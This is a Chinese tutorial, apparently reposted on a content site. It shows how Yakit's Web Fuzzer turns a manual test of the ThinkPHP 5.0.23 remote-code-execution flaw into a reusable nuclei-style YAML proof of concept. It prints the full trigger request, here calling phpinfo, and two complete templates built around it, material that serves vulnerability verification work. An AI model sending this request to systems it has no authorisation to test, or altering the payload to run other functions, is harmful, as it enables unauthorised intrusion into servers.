PoC免写攻略

在网络安全领域,PoC(Proof of Concept)起着重要的作用,并且在安全研究、漏洞发现和漏洞利用等方面具有重要的地位。攻击方视角下,常常需要围绕 PoC 做的大量的工作。常常需要从手动测试开始编写 PoC,再到实际调试 PoC的正确性,最后才能将编写完毕的 PoC 投入批量使用,在此目前流程中各个阶段之间并没有很好的关联性,相互之间不能 一键 完成,需要从业人员花费不少不必要的工作时间。Yakit 为了解决这个问题,在 Web Fuzzer 中带来了新的功能——一键导出PoC yaml 以及 联动的调试功能。打通 PoC 的工作流程,让 PoC 可以真正地“免写”。本文将以编写一个 ThinkPHP 5.0.23版本的RCE漏洞的 PoC 为线索来介绍Yakit的 PoC 支持。

ThinkPHP是一款运用极广的PHP开发框架。其5.0.23以前的版本中,获取method的方法中没有正确处理方法名,导致攻击者可以调用Request类任意方法并构造利用链,从而导致远程代码执行漏洞。

Web Fuzzer 手动验证

构造数据包

先来尝试使用Web Fuzzer 手动触发一个 ThinkPHP 的 RCE 漏洞。先在Web Fuzzer里构造一个可以触发漏洞的数据包:

POST /index.php?s=captcha HTTP/1.1
Host: www.example.com
Content-Type: application/x-www-form-urlencoded

_method=__construct&filter[]=phpinfo&method=get&server[REQUEST_METHOD]=1

上述是一个可以执行 phpinfo 的测试数据包,直接发送给目标可以触发一个 phpinfo 响应。

1699257170_65489b52dc3ce55645bd5.png!small?1699257169513

验证响应-匹配器

除了测试数据包外还需要有与测试数据对应的 预期响应,以验证漏洞是否触发。

对以此漏洞一个比较合理的判断是:响应页面同时有ThinkPHPPHP VersionPHP Extension三个关键字的时候是成功用ThinkPHP RCE执行了phpinfo函数,触发了漏洞。

在 Yakit Web Fuzzer 中可以使用匹配器来便捷地匹配数据、检查响应是否符合预期。匹配器位于 Web Fuzzer 的高级配置栏,

匹配器三种匹配模式:丢弃,保留,仅匹配

  1. 丢弃:丢弃模式会在符合匹配器时下丢弃返回包。
  2. 保留:保留模式会在符合匹配器时保留返回包,剩余的返回包则直接丢弃。
  3. 仅匹配:仅匹配模式会在符合匹配器时将对应的返回包染色,而不做其他操作。选中此模式一旁出现的色点既是染色使用的颜色

1699257180_65489b5c95df8853b043c.png!small?1699257179494

直接来使用匹配器来匹配上述测试数据包的预期数据:

点击添加匹配器,在页面右下角会弹出匹配器详细设置页面

1699257187_65489b633167ab4d42d9c.png!small?1699257185840

详细设置页面十分简单明了,支持五种匹配模式、四种匹配范围以及两种匹配关系。上述数据包的匹配规则可以表达为:AND关系全部响应中匹配三个关键字,在匹配器中即可如下设置。

1699257192_65489b68cc9f74e2a7fcb.png!small?1699257191494

点击应用,匹配器即可生效。重新发送数据包,会提示数据包成功匹配:

1699257199_65489b6f17c89dace576d.png!small?1699257198278

至此,已经完成了手动测试一个数据包以及匹配预期响应的流程,在 Web Fuzzer 手动发包已经成功完成了一次漏洞验证,有了构造PoC的基础。

Web Fuzzer 自动导出 PoC

PoC的作用当然不能限制在单次的手动测试中,它的作用是通过提炼一个手动测试的流程,来自动化验证某个漏洞,上一节里在Web Fuzzer完成了手动测试ThinkPHP RCE漏洞的部分,接下来就需要将这次手动测试提炼成一个可以重复使用的 PoC 文件。

在 Web Fuzzer右上角处,有两个按钮,分别对应直接导出 PoC转到调试 PoC

1699257204_65489b740fac0ee16f508.png!small?1699257202683

PoC****结构

这里导出和调试的PoC使用的是 Yakit 兼容的 nuclei PoC 模板。点击导出 PoC ,上面的手动测试的流程被保存为如下的 PoC Yaml。

支持 Raw 和 Path 两种模式,可自由选择

``

// Raw 模式
id: WebFuzzer-Template-UuMDryDU

info:
  name: WebFuzzer Template UuMDryDU
  author: god
  severity: low
  description: write your description here
  reference:
  - https://github.com/
  - https://cve.mitre.org/
  metadata:
    max-request: 1
    shodan-query: ""
    verified: true
  yakit-info:
    sign: 4a59ba760cdf626429aa3c22ab3dcfa0

http:
- raw:
  - |-
    @timeout: 30s
    POST /index.php?s=captcha HTTP/1.1
    Host: {{Hostname}}
    Content-Type: application/x-www-form-urlencoded
    Content-Length: 72

    _method=__construct&filter[]=phpinfo&method=get&server[REQUEST_METHOD]=1

  max-redirects: 3
  matchers-condition: and
  matchers:
  - type: word
    words:
    - ThinkPHP
    - PHP Version
    - PHP Extension
    condition: and
    
// Path 模式
id: WebFuzzer-Template-oZqWchul

info:
  name: WebFuzzer Template oZqWchul
  author: god
  severity: low
  description: write your description here
  reference:
  - https://github.com/
  - https://cve.mitre.org/
  metadata:
    max-request: 1
    shodan-query: ""
    verified: true
  yakit-info:
    sign: 69a05e9c6fc674153565cbbe1e868464

http:
- method: POST
  path:
  - '{{RootUrl}}index.php'
  headers:
    Content-Type: application/x-www-form-urlencoded
    Host: 172.29.228.154:8080
  body: _method=__construct&filter[]=phpinfo&method=get&server[REQUEST_METHOD]=1

  max-redirects: 3
  matchers-condition: and
  matchers:
  - type: word
    words:
    - ThinkPHP
    - PHP Version
    - PHP Extension
    condition: and

yakit sign

此 Yaml PoC 有一个特殊的字段yakit-info:sign。顾名思义,这是一个签名,一个用于保护 PoC 数据正确性、完整性的签名。对 PoC 内的重要数据进行签名,包括 raw 、method、headers…

在 Yakit 插件生态中,上述的 PoC 是可以作为一种插件被用户方便地使用的,但是作为一个纯文本的数据,很难验证本身是否被错误地改动。而这个签名字段的作用即是验证此 PoC 是否被意外改动。

在批量执行的插件的情况下,也可以用通过对签名的验证来筛选出可以信赖的插件,很大程度上避免了本地插件被意外修改导致验证失败的问题。

PoC****调试

PoC 显然是不能不经调试检验直接使用的,在上一步中提炼除了 Yaml PoC 还需要把 PoC进行进一步的调试,来测试 PoC的完善性。在 Web Fuzzer 页面中点击右上角的生成 Yaml 模板按钮即可将当前 Web Fuzzer 的配置生 Yaml PoC 并且调整到插件调试页面,方便师傅们进一步调试。

1699257221_65489b85629d694878088.png!small?1699257219975

调试页面可以对 Yaml PoC 插件进行测试,通过测试不同的目标来验证检查其完善性。

1699257228_65489b8c4474f09fa2188.png!small?1699257226779

一旁的配置调试请求栏中可以设置不同的调试目标,支持域名、IP、URL。配置调试目标完成之后,点击执行即可看到本次的调试流量、插件信息以及控制台输出

1699257234_65489b922b398a331cd9f.png!small?1699257232935

经过详细地调试之后,在调试插件的右上角有存为插件的按钮,点击即可将当前调试的 Yaml PoC 保存为插件,让此 PoC 正式成为一个可以批量使用的插件。

1699257238_65489b963766806b77975.png!small?1699257236954

总结

至此通过 Yakit 的导出与调试 Yaml PoC 功能,我们很简便的完成了一个批量使用的 PoC 编写,期间除了最开始的构造数据包部分需要人工手动测试,其余阶段 Yakit 都自动化完成了。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/419492.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

【数仓】Hadoop软件安装及使用(集群配置)

一、环境准备 1、准备3台虚拟机 Hadoop131:192.168.56.131Hadoop132:192.168.56.132Hadoop133:192.168.56.133 本例系统版本 CentOS-7.8,已安装jdk1.8 2、hosts配置,关闭防火墙 vi /etc/hosts添加如下内容&#x…

【软考高项】【计算专题】- 5 - 进度类 - 横道图/甘特图

一、知识点 1、基本定义 甘特图(Gantt chart )又称为横道图、条状图(Bar chart),通过条状图来显示项目各活动的进 度情况。以提出者亨利劳伦斯甘特( Henry Laurence Gantt)先生的名字命名。 目前许多文档工具都可以画甘特图。 (1)我的举例 …

Linux进程 | 环境变量 | 程序地址空间

基本概念 课本概念:程序的一个执行实例,正在执行的程序等内核观点:担当分配系统资源(CPU时间,内存)的实体。 描述进程-PCB 进程信息被放在一个叫做进程控制块的数据结构中,可以理解为进程属性的…

鸿蒙Harmony应用开发—ArkTS声明式开发(按键事件)

按键事件指组件与键盘、遥控器等按键设备交互时触发的事件,适用于所有可获焦组件,例如Button。对于Text,Image等默认不可获焦的组件,可以设置focusable属性为true后使用按键事件。 说明: 从API Version 7开始支持。后续…

ImportError: cannot import name ‘_update_worker_pids’ from ‘torch._C’

问题描述: 在复现超分辨率算法RNAN(EDSR、RCAN同样的环境)的时候报错,torch要求是0.4.0版本的。 解决方案: 解决方法1(已安装anaconda) 1. 打开命令行(这个自行查找) …

2024亚马逊全球开店注册前需要准备什么?

在2023年出海四小龙SHEIN、Temu、速卖通AliExpress、TikTok Shop快速增长扩张,成为了中国跨境卖家“逃离亚马逊”的新选择。但是,跨境电商看亚马逊。当前,亚马逊仍然是跨境电商行业的绝对老大,占有将近70%成以上的业务份额。 作为…

MySQL(基础篇)——多表查询

一.多表关系 一对多(多对一) 多对多一对一 1.一对多(多对一) a.案例:部门与员工的关系 b.关系:一个部门对应多个员工,一个员工对应一个部门 c.实现:在多的一方建立外键,指向一的一方的主键 2.多对多 a.案…

记录SSM项目集成Spring Security 4.X版本 之 加密验证和记住我功能

目录 前言 一、用户登录密码加密认证 二、记住我功能 前言 本次笔记的记录是接SSM项目集成Spring Security 4.X版本 之 加入DWZ,J-UI框架实现登录和主页菜单显示-CSDN博客https://blog.csdn.net/u011529483/article/details/136255768?spm1001.2014.3001.5502 文章之后补…

生命游戏(Game of life)(OpenMP实现)

目录 生命游戏&#xff08;Game of life&#xff09;&#xff08;OpenMP实现&#xff09;问题描述OpenMP代码实现 运行参考资料 生命游戏&#xff08;Game of life&#xff09;&#xff08;OpenMP实现&#xff09; 问题描述 OpenMP代码实现 #include <omp.h> #include …

计算机提示msvcp110.dll丢失修复方法,轻松搞定DLL问题

当计算机系统中msvcp110.dll文件发生丢失时&#xff0c;可能会引发一系列运行问题和功能障碍&#xff0c;影响到用户的正常使用体验。这个动态链接库文件是Microsoft Visual C Redistributable Package的重要组成部分&#xff0c;对于许多基于Windows操作系统的应用程序来说&am…

网络安全学习笔记1

1.了解kali及安装 vmware安装&#xff0c;用户名密码均为kali 2.metasploit是什么 3.metasploit攻击windows系统 在kali中打来终端 数据msfconsole 进入metasploit的控制终端界面 msf的使用法则&#xff1a; 1.使用模块 2.配置模块必选项 3.运行模块 三步操作、实现对…

structuredClone() 详解

您是否知道&#xff0c;现在 JavaScript 中有一种原生的方式可以深拷贝对象&#xff1f; 没错&#xff0c;这个内置于 JavaScript 运行时的structuredClone函数就是这样&#xff1a; const calendarEvent {title: "Builder.io大会",date: new Date(123),attendees…

buuctf_misc_九连环

题目&#xff1a;&#xff08;一张123456cry.jpg&#xff09; 这个先直接上kali&#xff0c;图片已改名cry.jpg 在上一篇&#xff0c;我留存了kali文件夹下有"叉"打不开的问题&#xff0c;经查阅&#xff0c;已解决&#xff1a; http://t.csdnimg.cn/bgv4T 输入&a…

抖音视频批量下载工具|视频评论采集软件

我们团队自主研发的视频批量下载软件为您提供了一种全新的视频获取体验。通过这款工具&#xff0c;您可以轻松地根据特定关键词搜索视频内容&#xff0c;实现批量和有选择性的提取&#xff0c;让您更便捷地获取符合需求的视频内容。 操作简要说明如下&#xff1a; 1. 关键词搜…

灰度负载均衡和普通负载均衡有什么区别

灰度负载均衡&#xff08;Gray Load Balancing&#xff09;与普通负载均衡的主要区别在于它们服务发布和流量管理的方式。 灰度负载均衡 目的&#xff1a;主要用于灰度发布&#xff0c;即逐步向用户发布新版本的服务&#xff0c;以减少新版本可能带来的风险。工作方式&#x…

基于springboot实现在线考试系统项目【项目源码+论文说明】

基于springboot实现在线考试系统演示 摘要 时代在变化&#xff0c;科技技术以无法预测的速度在达到新的高度&#xff0c;并且被应用于社会生活的各个领域&#xff0c;随着生活的加快&#xff0c;也使很多潜在的点逐渐突显出来&#xff0c;社会对于人才的要总是非常迫切的&…

【论文阅读】《PRODIGY: Enabling In-context Learning Over Graphs》

文章目录 0、基本介绍1、研究动机2、创新点3、挑战4、准备4.1、图上分类任务4.2、少样本提示4.3、提示图表示4.3.1、Data graph G D \mathcal{G}^D GD4.3.2、task graph G T \mathcal{G}^T GT 5、方法论5.1、提示图上的信息传播架构5.1.1、Data graph Message Passing5.1.2、…

【学习笔记】数据结构与算法05:树、层序遍历、深度优先搜索、二叉搜索树

知识出处&#xff1a;Hello算法&#xff1a;https://www.hello-algo.com/ 文章目录 2.4 树2.4.1 「二叉树 binary tree」2.4.1.1 二叉树基本操作2.4.1.2 二叉树的常见类型「完美二叉树 perfect binary tree」「完全二叉树 complete binary tree」「完满二叉树 full binary tre…

OJ_重建二叉树

题干 已知&#xff1a;二叉树的先序序列和中序序列求&#xff1a;后序序列 C实现 #define _CRT_SECURE_NO_WARNINGS #include<stdio.h> #include<string> using namespace std;struct TreeNode {char data;TreeNode* left;TreeNode* right; };TreeNode* Rebuil…

国科大计算机网络实验 HTTP服务器

UCAS_CN_LAB HTTP服务器实验 实验要求 •实现&#xff1a;使用C语言实现最简单的HTTP服务器 •同时支持HTTP&#xff08;80端口&#xff09;和HTTPS&#xff08;443端口&#xff09; •使用两个线程分别监听各自端口 •只需支持GET方法&#xff0c;解析请求报文&#xff…